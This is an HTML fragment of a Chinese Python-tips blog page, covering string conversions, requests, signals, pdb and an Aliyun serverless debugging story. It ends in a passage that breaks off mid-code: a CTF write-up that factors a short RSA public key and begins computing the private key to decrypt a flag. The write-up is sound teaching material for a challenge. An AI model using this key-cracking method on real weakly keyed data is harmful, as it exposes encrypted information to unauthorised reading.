id=\"pythonh-no-such-file-or-directory\">解决Python.h: No such file or directory<a class=\"headerlink\" href=\"#pythonh-no-such-file-or-directory\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>apt-get install -y python-dev python3-dev\n</code></pre></div>\n\n<p>如果为CentOS系统：</p>\n<div class=\"codehilite\"><pre><span></span><code>yum install python-devel\n</code></pre></div>\n\n<hr />\n<h2 id=\"_3\">二进制字符串转普通字符串<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<p>方法一：将字符串每8个分成一组，用int转10进制，再用chr转为ascii字符</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">s</span><span class=\"o\">=</span><span class=\"s2\">&quot;0110001101111001&quot;</span>\n<span class=\"nv\">ans</span><span class=\"o\">=</span><span class=\"s2\">&quot;&quot;</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span><span class=\"nv\">range</span><span class=\"ss\">(</span><span class=\"mi\">0</span>,<span class=\"nv\">len</span><span class=\"ss\">(</span><span class=\"nv\">s</span><span class=\"ss\">)</span><span class=\"o\">//</span><span class=\"mi\">8</span><span class=\"ss\">)</span>:\n<span class=\"w\">    </span><span class=\"nv\">x</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">s</span>[<span class=\"nv\">i</span><span class=\"o\">*</span><span class=\"mi\">8</span>:<span class=\"nv\">i</span><span class=\"o\">*</span><span class=\"mi\">8</span><span class=\"o\">+</span><span class=\"mi\">8</span>]\n<span class=\"w\">    </span><span class=\"nv\">ans</span><span class=\"o\">+=</span><span class=\"nv\">chr</span><span class=\"ss\">(</span><span class=\"nv\">int</span><span class=\"ss\">(</span><span class=\"nv\">x</span>,<span class=\"mi\">2</span><span class=\"ss\">))</span>\n</code></pre></div>\n\n<p>方法二：利用binascii，先用int转为10进制，然后转为16进制字符串，调用unhexlify执行翻译</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">binascii</span>\n<span class=\"n\">s</span><span class=\"o\">=</span><span class=\"s2\">&quot;0110001101111001&quot;</span>\n<span class=\"n\">ans</span><span class=\"o\">=</span><span class=\"n\">binascii</span><span class=\"o\">.</span><span class=\"n\">unhexlify</span><span class=\"p\">(</span><span class=\"s1\">&#39;</span><span class=\"si\">%x</span><span class=\"s1\">&#39;</span><span class=\"o\">%</span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">,</span><span class=\"mi\">2</span><span class=\"p\">))</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">()</span>\n</code></pre></div>\n\n<p>补充：相应的如果要把十进制转为二进制，可以用bin(123)[2:]</p>\n<hr />\n<h2 id=\"bytes\">十六进制字符串转bytes字符串<a class=\"headerlink\" href=\"#bytes\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">base64</span> <span class=\"kn\">import</span> <span class=\"n\">b16encode</span><span class=\"p\">,</span><span class=\"n\">b16decode</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span> <span class=\"n\">b16encode</span><span class=\"p\">(</span><span class=\"sa\">b</span><span class=\"s1\">&#39;py3.io&#39;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">()</span> <span class=\"p\">)</span> <span class=\"c1\">#output: 7079332E696F</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span> <span class=\"n\">b16decode</span><span class=\"p\">(</span><span class=\"s2\">&quot;7079332E696F&quot;</span><span class=\"o\">.</span><span class=\"n\">upper</span><span class=\"p\">())</span> <span class=\"p\">)</span> <span class=\"c1\">#output: b&#39;py3.io&#39;, 这里使用upper转大写</span>\n</code></pre></div>\n\n<p>相应的，拿到一个十进制数，转字符串：</p>\n<div class=\"codehilite\"><pre><span></span><code>key = 5287002131074331513\nprint( b16decode( hex(key)[2:].upper() ) )#output: b&#39;I_4m-k3y&#39;\n</code></pre></div>\n\n<hr />\n<h2 id=\"python3pat\">用Python3写PAT心得<a class=\"headerlink\" href=\"#python3pat\" title=\"Permanent link\">&para;</a></h2>\n<ul>\n<li>\n<p>如果发生格式错误，检查输出的最后一行的print，加上end=&rdquo;&ldquo;表示不要换行</p>\n</li>\n<li>\n<p>如果数据规模大导致超时，代码中的in操作前先把list转为set，能大幅度提速</p>\n</li>\n</ul>\n<hr />\n<h2 id=\"requestspost\">用requests进行post<a class=\"headerlink\" href=\"#requestspost\" title=\"Permanent link\">&para;</a></h2>\n<p>需要注意加上这两个参数：</p>\n<div class=\"codehilite\"><pre><span></span><code>,allow_redirects=False,headers={&quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;}\n</code></pre></div>\n\n<p>登录请求的时候是要根据返回的headers里面Location有没有对不对来判断登录是否成功的，而requests默认会跟随301/302跳转，导致无法获取到跳转请求的headers，所以加上<code>allow_redirects=False</code></p>\n<p>另外就是post数据的时候必须给出正确的Content-Type，否则服务器不认这个post的</p>\n<p>再者就是可能对方有反爬虫措施，加上Referer和User-Agent就好咯</p>\n<p>如果需要提交的是json的数据，记得post的data的单双引号要正确，应该用json.dumps的结果去post</p>\n<p>如果要做爬虫，欢迎使用我的<a href=\"https://github.com/zjuchenyuan/EasyLogin\">EasyLogin</a>，无需再操心这些细节，专注于核心爬虫代码</p>\n<hr />\n<h2 id=\"tkinter\">通过tkinter获取、修改剪贴板<a class=\"headerlink\" href=\"#tkinter\" title=\"Permanent link\">&para;</a></h2>\n<p>支持py2和py3，Learned from https://www.daniweb.com/programming/software-development/code/487653/access-the-clipboard-via-tkinter</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">try</span><span class=\"p\">:</span>\n    <span class=\"kn\">from</span> <span class=\"nn\">tkinter</span> <span class=\"kn\">import</span> <span class=\"n\">Tk</span>\n<span class=\"k\">except</span> <span class=\"ne\">ImportError</span><span class=\"p\">:</span>\n    <span class=\"kn\">from</span> <span class=\"nn\">Tkinter</span> <span class=\"kn\">import</span> <span class=\"n\">Tk</span>\n<span class=\"n\">root</span> <span class=\"o\">=</span> <span class=\"n\">Tk</span><span class=\"p\">()</span>\n<span class=\"n\">root</span><span class=\"o\">.</span><span class=\"n\">withdraw</span><span class=\"p\">()</span> <span class=\"c1\">#隐藏Tk的窗口</span>\n<span class=\"n\">text</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;Donnerwetter&quot;</span>\n<span class=\"c1\"># 清空剪贴板 clear clipboard</span>\n<span class=\"n\">root</span><span class=\"o\">.</span><span class=\"n\">clipboard_clear</span><span class=\"p\">()</span>\n<span class=\"c1\"># 写入剪贴板 write text to clipboard</span>\n<span class=\"n\">root</span><span class=\"o\">.</span><span class=\"n\">clipboard_append</span><span class=\"p\">(</span><span class=\"n\">text</span><span class=\"p\">)</span>\n<span class=\"c1\"># 读取剪贴板 text from clipboard</span>\n<span class=\"n\">clip_text</span> <span class=\"o\">=</span> <span class=\"n\">root</span><span class=\"o\">.</span><span class=\"n\">clipboard_get</span><span class=\"p\">()</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">clip_text</span><span class=\"p\">)</span>  <span class=\"c1\"># --&gt; Donnerwetter</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_4\">符号数与无符号数转换<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"_5\">无符号→有符号，为了加上负号：<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">ctypes</span>\n<span class=\"n\">ctypes</span><span class=\"o\">.</span><span class=\"n\">c_int64</span><span class=\"p\">(</span><span class=\"mi\">17039472050328044269</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">value</span>\n</code></pre></div>\n\n<p>上述将得到-1407272023381507347</p>\n<h3 id=\"_6\">有符号→无符号，为了去掉负号：<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">ctypes</span>\n<span class=\"n\">ctypes</span><span class=\"o\">.</span><span class=\"n\">c_uint64</span><span class=\"p\">(</span><span class=\"o\">-</span><span class=\"mi\">1407272023381507347</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">value</span>\n</code></pre></div>\n\n<p>上述将得到17039472050328044269</p>\n<hr />\n<h2 id=\"signalsigalrm-only-linux\">使用signal.SIGALRM在限定时间后退出进程 (only Linux)<a class=\"headerlink\" href=\"#signalsigalrm-only-linux\" title=\"Permanent link\">&para;</a></h2>\n<p>在设计CTF的题目的时候，有必要限制用户的连接时间，这时候简单方案就是用SIGALRM信号咯</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">def</span> <span class=\"nf\">clock</span><span class=\"p\">(</span><span class=\"n\">timeout</span><span class=\"o\">=</span><span class=\"mi\">5</span><span class=\"p\">):</span>\n    <span class=\"kn\">import</span> <span class=\"nn\">signal</span>\n    <span class=\"k\">def</span> <span class=\"nf\">signal_handler</span><span class=\"p\">(</span><span class=\"n\">signum</span><span class=\"p\">,</span><span class=\"n\">data</span><span class=\"p\">):</span>\n        <span class=\"k\">if</span> <span class=\"n\">signum</span> <span class=\"o\">==</span> <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">SIGALRM</span><span class=\"p\">:</span>\n            <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;Time is up!&quot;</span><span class=\"p\">)</span>\n            <span class=\"n\">exit</span><span class=\"p\">()</span>\n    <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">signal</span><span class=\"p\">(</span><span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">SIGALRM</span><span class=\"p\">,</span> <span class=\"n\">signal_handler</span><span class=\"p\">)</span>\n    <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">alarm</span><span class=\"p\">(</span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">timeout</span><span class=\"p\">))</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"ctrlc\">捕捉用户的Ctrl+C<a class=\"headerlink\" href=\"#ctrlc\" title=\"Permanent link\">&para;</a></h2>\n<p>特殊情况下我们想屏蔽掉Ctrl+C，这时候写个自己的函数处理SIGALRM信号就好啦</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">signal</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">signal_handler</span><span class=\"p\">(</span><span class=\"n\">signum</span><span class=\"p\">,</span><span class=\"n\">data</span><span class=\"p\">):</span>\n    <span class=\"k\">if</span> <span class=\"n\">signum</span> <span class=\"o\">==</span> <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">SIGINT</span><span class=\"p\">:</span>\n        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;Ctrl+C is pressed!&quot;</span><span class=\"p\">)</span>\n        <span class=\"c1\">#raise KeyboardInterrupt</span>\n\n<span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s1\">&#39;__main__&#39;</span><span class=\"p\">:</span>\n    <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">signal</span><span class=\"p\">(</span><span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">SIGINT</span><span class=\"p\">,</span> <span class=\"n\">signal_handler</span><span class=\"p\">)</span>\n    <span class=\"n\">sleep</span><span class=\"p\">(</span><span class=\"mi\">666</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"signalsigalrm-only-linux_1\">使用signal.SIGALRM实现定时器 (only Linux)<a class=\"headerlink\" href=\"#signalsigalrm-only-linux_1\" title=\"Permanent link\">&para;</a></h2>\n<p>实现一个类似Javascript的setInterval功能</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">signal</span>\n<span class=\"kn\">from</span> <span class=\"nn\">time</span> <span class=\"kn\">import</span> <span class=\"n\">sleep</span>\n<span class=\"n\">INTERVAL</span><span class=\"o\">=</span><span class=\"mi\">1</span>\n<span class=\"n\">COUNT</span><span class=\"o\">=</span><span class=\"mi\">0</span>\n<span class=\"k\">def</span> <span class=\"nf\">signal_handler</span><span class=\"p\">(</span><span class=\"n\">signum</span><span class=\"p\">,</span><span class=\"n\">data</span><span class=\"p\">):</span>\n    <span class=\"k\">global</span> <span class=\"n\">COUNT</span>\n    <span class=\"k\">if</span> <span class=\"n\">signum</span> <span class=\"o\">==</span> <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">SIGALRM</span><span class=\"p\">:</span>\n        <span class=\"c1\"># 你的定时器代码写在这里 Your function here</span>\n        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;Count! </span><span class=\"si\">{}</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"n\">COUNT</span><span class=\"p\">))</span>\n        <span class=\"n\">COUNT</span><span class=\"o\">+=</span><span class=\"mi\">1</span>\n        <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">alarm</span><span class=\"p\">(</span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">INTERVAL</span><span class=\"p\">))</span> <span class=\"c1\">#再设置一个clock就能循环往复咯</span>\n\n<span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s1\">&#39;__main__&#39;</span><span class=\"p\">:</span>\n    <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">signal</span><span class=\"p\">(</span><span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">SIGALRM</span><span class=\"p\">,</span> <span class=\"n\">signal_handler</span><span class=\"p\">)</span>\n    <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">alarm</span><span class=\"p\">(</span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">INTERVAL</span><span class=\"p\">))</span>\n    <span class=\"n\">sleep</span><span class=\"p\">(</span><span class=\"mi\">23333</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"pdb\">使用pdb进行调试<a class=\"headerlink\" href=\"#pdb\" title=\"Permanent link\">&para;</a></h2>\n<p>在需要调试的文件头部加入</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">pdb</span>\n</code></pre></div>\n\n<p>需要停下来的地方加入</p>\n<div class=\"codehilite\"><pre><span></span><code>pdb.set_trace()\n</code></pre></div>\n\n<p>Tutorial: <a href=\"https://github.com/spiside/pdb-tutorial\">https://github.com/spiside/pdb-tutorial</a></p>\n<hr />\n<h2 id=\"pythonserverlessfunction-as-service\">使用Python开发Serverless(Function as Service)后端服务<a class=\"headerlink\" href=\"#pythonserverlessfunction-as-service\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"https://github.com/zjuchenyuan/zju-jwb-to-icalendar\">项目地址 &amp; 部署过程</a></p>\n<p>如果您只是需要部署一个Example，↑↑↑(顺手求个Star)；如果您对这个代码是如何写出来的和踩坑过程感兴趣，继续看吧：</p>\n<h3 id=\"_7\">踩过的坑与解决过程(论阿里云是怎么把人气死的)<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"1api\">1.API网关与函数计算的对接<a class=\"headerlink\" href=\"#1api\" title=\"Permanent link\">&para;</a></h4>\n<p>按照<a href=\"https://help.aliyun.com/document_detail/54788.html\">教程</a>，当时不够耐心，拿着hello world的程序（不要信教程中的2.1部分的截图）就在使用API网关，结果总是返回503</p>\n<p>耐心下来看文档把程序改为后面的撞墙式程序就好了，人家其实说了函数计算应该返回的数据结构，不按照这个结构来就会503：</p>\n<div class=\"codehilite\"><pre><span></span><code>{\n    &quot;isBase64Encoded&quot;: True或者False,\n    &quot;statusCode&quot;: 200, #可以为302来实现跳转\n    &quot;headers&quot;: {...} #返回的response headers，但其中的Content-Type没有作用\n    &quot;body&quot;: &quot;...&quot; #返回的网页正文内容\n}\n</code></pre></div>\n\n<h4 id=\"2api\">2.修改API网关参数定义后要再次发布<a class=\"headerlink\" href=\"#2api\" title=\"Permanent link\">&para;</a></h4>\n<p>无论有没有改Mock设置，只要改动了设置都需要重新发布，发布线上版本即可</p>\n<h4 id=\"3windowsfclifcliexe\">3.不能使用Windows版本的fcli工具(fcli.exe)<a class=\"headerlink\" href=\"#3windowsfclifcliexe\" title=\"Permanent link\">&para;</a></h4>\n<p>人家已经发布了新版本的fcli解决了此问题</p>\n<p>这个bug简直了，整个流程如下：</p>\n<p>按照文档说明一路部署上传都没有问题，调用函数的时候却说<code>Unable to import module 'index'</code></p>\n<p>然后我就在Linux服务器上<code>docker pull python:2.7</code>然后<code>docker run -it --rm -v /root/ical:/code</code> python:2.7 /bin/bash<code>，进入bash后</code>cd /code; python<code>，进入python后</code>import index`</p>\n<p>啊哈，发现是<code>ImportError: No module named 'bs4'</code>，自己的锅，用<code>pip install bs4 -t .</code>一个个解决依赖包后，在docker容器中总算是能够跑起来了，且能正常返回了</p>\n<p>然后用<code>fcli.exe shell</code>的<code>mkf</code>再上传一次，调用函数还是老样子<code>Unable to import module 'index'</code>，令人很抓狂。。。</p>\n<p>突然想到不能被import应该是全局的import失败了，多次折腾后，把<code>from grabber import grabber</code>移动到index函数中，总算得到了明确的报错：还是<code>ImportError: No module named 'bs4'</code>；哈？这是什么鬼，明明我都把bs4文件夹放到代码目录下了，为啥还是报错？</p>\n<p>既然他说import失败，会不会是Python搜索包的PATH的问题，于是Google到了把当前文件所在的目录加入搜索的方法：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">sys</span>.<span class=\"nv\">path</span>.<span class=\"nv\">append</span><span class=\"ss\">(</span><span class=\"nv\">os</span>.<span class=\"nv\">path</span>.<span class=\"k\">dirname</span><span class=\"ss\">(</span><span class=\"nv\">os</span>.<span class=\"nv\">path</span>.<span class=\"nv\">abspath</span><span class=\"ss\">(</span><span class=\"nv\">__file__</span><span class=\"ss\">)))</span>\n</code></pre></div>\n\n<p>Orz, 还是没有用。。。</p>\n<p>想到既然部署后代码文件夹<code>/code</code>没有我需要的依赖包，那<code>/code</code>文件夹里面到底有啥呢？果断fuck一下，在index函数开头写上:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">def</span> <span class=\"nf\">index</span><span class=\"p\">():</span>\n    <span class=\"k\">return</span> <span class=\"p\">{</span><span class=\"s2\">&quot;fuck&quot;</span><span class=\"p\">:</span> <span class=\"nb\">list</span><span class=\"p\">(</span><span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">listdir</span><span class=\"p\">(</span><span class=\"s2\">&quot;/code&quot;</span><span class=\"p\">))}</span>\n    <span class=\"kn\">import</span> <span class=\"nn\">bs4</span> <span class=\"c1\">#会出错的import</span>\n    <span class=\"o\">...</span><span class=\"c1\">#正常代码</span>\n</code></pre></div>\n\n<p>总算调用成功了，然后一看输出结果，woc! (内心中骂了多次mdzz阿里云</p>\n<p>给张截图：</p>\n<p><img alt=\"\" src=\"../assets/img/fuckaliyun.jpg\" /></p>\n<p>os.listdir应该返回的是当前这个文件夹下含有的文件名称和文件夹名称，而现在我们看到的是含有<code>\\\\</code>很像路径名的东西，说明这个fcli.exe把windows的<code>\\\\</code>路径名当成了文件名的一部分，部署后在/code文件夹下也就对应创建了名称为<code>bs4\\\\__init__.py</code>这样的文件(根本没有bs4子文件夹)，Python当然会找不到bs4这个包啊！摔！</p>\n<p>改用人家fcli的Linux 64bit版本，问题解决。。。</p>\n<p>总结一下，万万想不到Windows版本的工具(针对0.5版本)会把路径分隔符<code>\\\\</code>当成文件名一部分来看待，真是大开眼界</p>\n<hr />\n<h2 id=\"linuxgbk\">修复Linux下gbk编码的文件名<a class=\"headerlink\" href=\"#linuxgbk\" title=\"Permanent link\">&para;</a></h2>\n<p>代码见<a href=\"../code/fixgbknames.py\">code/fixgbknames.py</a></p>\n<p>在特殊情况下，Linux中可能会有gbk编码的文件名，这种文件用<code>ls</code>查看都是乱码，难以操作</p>\n<p>如何修复这些<code>错误</code>的文件名呢？用到<code>python3</code>提供的os.walk(b&rdquo;.&rdquo;)就能得到bytes类型的文件名，然后<code>os.system</code>调用bytes类型的<code>mv</code>命令行就好啦~</p>\n<hr />\n<h2 id=\"crack-rsa\">Crack RSA!<a class=\"headerlink\" href=\"#crack-rsa\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"_8\">题目信息<a class=\"headerlink\" href=\"#_8\" title=\"Permanent link\">&para;</a></h3>\n<p>题目来源：<a href=\"https://docs.google.com/forms/d/e/1FAIpQLSfOI5AgEvlqa6-nRLAZI8Dvs6_XmZDHSog2pKteS5rvp3AU0Q/viewform\">清华蓝莲花战队纳新表（需自备梯子）</a></p>\n<p>密码学 (Cryptography)</p>\n<p>RSA算法的原理以及破解，请下载<a href=\"https://d.py3.io/rsa.zip\">这个文件</a>，解密其中的flag.enc文件。</p>\n<h3 id=\"rsa\">RSA是啥<a class=\"headerlink\" href=\"#rsa\" title=\"Permanent link\">&para;</a></h3>\n<p>略&hellip;(连这个都不知道还不去google，你适不适合CTF心里一点B数都没有吗)</p>\n<p>符号约定： n一个大数， p和q是它的质因子，d私钥，m信息明文，c信息密文</p>\n<h3 id=\"_9\">破解的数学原理<a class=\"headerlink\" href=\"#_9\" title=\"Permanent link\">&para;</a></h3>\n<p>参考：https://stackoverflow.com/questions/4078902/cracking-short-rsa-keys</p>\n<p>Google搜索关键词 crack rsa key</p>\n<p>给定公钥n和e，假定我们成功分解n = p * q，那么求出d</p>\n<div class=\"codehilite\"><pre><span></span><code>d = e^-1 mod phi(n)\n  = e^-1 mod (p-1)*(q-1)\n</code></pre></div>\n\n<p>现在我们有了私钥d，可以对密文c解密得到明文m：</p>\n<div class=\"codehilite\"><pre><span></span><code>m = c^d (mod n)\n</code></pre></div>\n\n<h3 id=\"_10\">实现它<a class=\"headerlink\" href=\"#_10\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"ne\">题目给的公钥是啥格式，怎么读取出N和e?<a class=\"headerlink\" href=\"#ne\" title=\"Permanent link\">&para;</a></h4>\n<p>题目给的公钥是这样的：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"gh\">-----BEGIN PUBLIC KEY-----</span>\n<span class=\"s\">MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMgVHv67DCP6oRAiQJxaEuSluWmE5iZb</span>\n<span class=\"s\">e+fuqvuwBPUfAgMBAAE=</span>\n<span class=\"gh\">-----END PUBLIC KEY-----</span>\n</code></pre></div>\n\n<p>看起来很短，估计是可以分解的比较小的N</p>\n<p>google搜索关键词：openssl get n from public key</p>\n<p>参考：https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key</p>\n<p>人家给出了这样的做法：(环境Linux，已经安装openssl)</p>\n<div class=\"codehilite\"><pre><span></span><code># 丢弃头尾的---行，提取公钥内容并合并一行（这是base64编码的字符串）\nPUBKEY=`grep -v -- ----- public.pem | tr -d &#39;\\n&#39;`\n# 编码格式是asn1，查看这种编码的格式\necho $PUBKEY | base64 -d | openssl asn1parse -inform DER -i\n</code></pre></div>\n\n<p>将输出：</p>\n<div class=\"codehilite\"><pre><span></span><code>    0:d=0  hl=2 l=  60 cons: SEQUENCE\n    2:d=1  hl=2 l=  13 cons:  SEQUENCE\n    4:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption\n   15:d=2  hl=2 l=   0 prim:   NULL\n   17:d=1  hl=2 l=  43 prim:  BIT STRING\n</code></pre></div>\n\n<p>最后一行BIT STRING就是数据所在的位置，偏移为17</p>\n<p>提取出来：</p>\n<div class=\"codehilite\"><pre><span></span><code>echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 17\n</code></pre></div>\n\n<p>得到：</p>\n<div class=\"codehilite\"><pre><span></span><code>    0:d=0  hl=2 l=  40 cons: SEQUENCE\n    2:d=1  hl=2 l=  33 prim:  INTEGER           :C8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F\n   37:d=1  hl=2 l=   3 prim:  INTEGER           :010001\n</code></pre></div>\n\n<p>嗯~这样就看到十六进制的n和e啦，转为十进制的话python里面直接输入:</p>\n<div class=\"codehilite\"><pre><span></span><code>n = 0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F\nprint(n) \n</code></pre></div>\n\n<p>上述python执行后将输出</p>\n<p>90499887424928873790510606439768063703452393541528122252967476339871041516831</p>\n<p>同理我们得知e=65537，一般RSA加密都会把公钥的e选为65537</p>\n<h4 id=\"n-pq\">怎么分解n 得到p和q？<a class=\"headerlink\" href=\"#n-pq\" title=\"Permanent link\">&para;</a></h4>\n<p>你可以自己写代码，然而我懒，直接查数据库：</p>\n<p>打开factordb.com这个神奇的网站，输入n的值就能查到分解结果啦：</p>\n<p>http://factordb.com/index.php?query=90499887424928873790510606439768063703452393541528122252967476339871041516831</p>\n<p>分解结果：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"mf\">9049988742...31</span><span class=\"o\">&lt;</span><span class=\"mf\">77</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mf\">283194537446483890135816972554288437117</span><span class=\"o\">&lt;</span><span class=\"mf\">39</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"err\">·</span><span class=\"w\"> </span><span class=\"mf\">319567913424286672035093410391626922443</span><span class=\"o\">&lt;</span><span class=\"mf\">39</span><span class=\"o\">&gt;</span>\n</code></pre></div>\n\n<p>好了，我们就知道 p q了，具体哪个是p哪个是q并不重要</p>\n<p>p=283194537446483890135816972554288437117, q=319567913424286672035093410391626922443</p>\n<h4 id=\"d\">怎么计算私钥d<a class=\"headerlink\" href=\"#d\" title=\"Permanent link\">&para;</a></h4>\n<p>根据RSA原理， d = e^-1 mod (p-1)*(q-1)， 现在我们有了p和q，mod后面的(p-1)*(q-1)自然是可以求出来的</p>\n<p>但e^-1是个啥玩意？倒数？ 倒数还能求模？</p>\n<p>emmm 其实是求逆元啦 然而不会写代码怎么办，当时是继续google啊</p>\n<p>google关键词： python calculate inverse mod</p>\n<p>参考：https://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python</p>\n<p>得到代码：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">def</span><span class=\"w\"> </span><span class=\"nv\">egcd</span><span class=\"ss\">(</span><span class=\"nv\">a</span>,<span class=\"w\"> </span><span class=\"nv\">b</span><span class=\"ss\">)</span>:\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">a</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"mi\">0</span>:\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">b</span>,<span class=\"w\"> </span><span class=\"mi\">0</span>,<span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"ss\">)</span>\n<span class=\"w\">    </span><span class=\"k\">else</span>:\n<span class=\"w\">        </span><span class=\"nv\">g</span>,<span class=\"w\"> </span><span class=\"nv\">y</span>,<span class=\"w\"> </span><span class=\"nv\">x</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">egcd</span><span class=\"ss\">(</span><span class=\"nv\">b</span><span class=\"w\"> </span><span class=\"o\">%</span><span class=\"w\"> </span><span class=\"nv\">a</span>,<span class=\"w\"> </span><span class=\"nv\">a</span><span class=\"ss\">)</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">g</span>,<span class=\"w\"> </span><span class=\"nv\">x</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">b</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"nv\">a</span><span class=\"ss\">)</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"nv\">y</span>,<span class=\"w\"> </span><span class=\"nv\">y</span><span class=\"ss\">)</span>\n\n<span class=\"nv\">def</span><span class=\"w\"> </span><span class=\"nv\">modinv</span><span class=\"ss\">(</span><span class=\"nv\">a</span>,<span class=\"w\"> </span><span class=\"nv\">m</span><span class=\"ss\">)</span>:\n<span class=\"w\">    </span><span class=\"nv\">g</span>,<span class=\"w\"> </span><span class=\"nv\">x</span>,<span class=\"w\"> </span><span class=\"nv\">y</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">egcd</span><span class=\"ss\">(</span><span class=\"nv\">a</span>,<span class=\"w\"> </span><span class=\"nv\">m</span><span class=\"ss\">)</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">g</span><span class=\"w\"> </span><span class=\"o\">!=</span><span class=\"w\"> </span><span class=\"mi\">1</span>:\n<span class=\"w\">        </span><span class=\"nv\">raise</span><span class=\"w\"> </span><span class=\"nv\">Exception</span><span class=\"ss\">(</span><span class=\"s1\">&#39;modular inverse does not exist&#39;</span><span class=\"ss\">)</span>\n<span class=\"w\">    </span><span 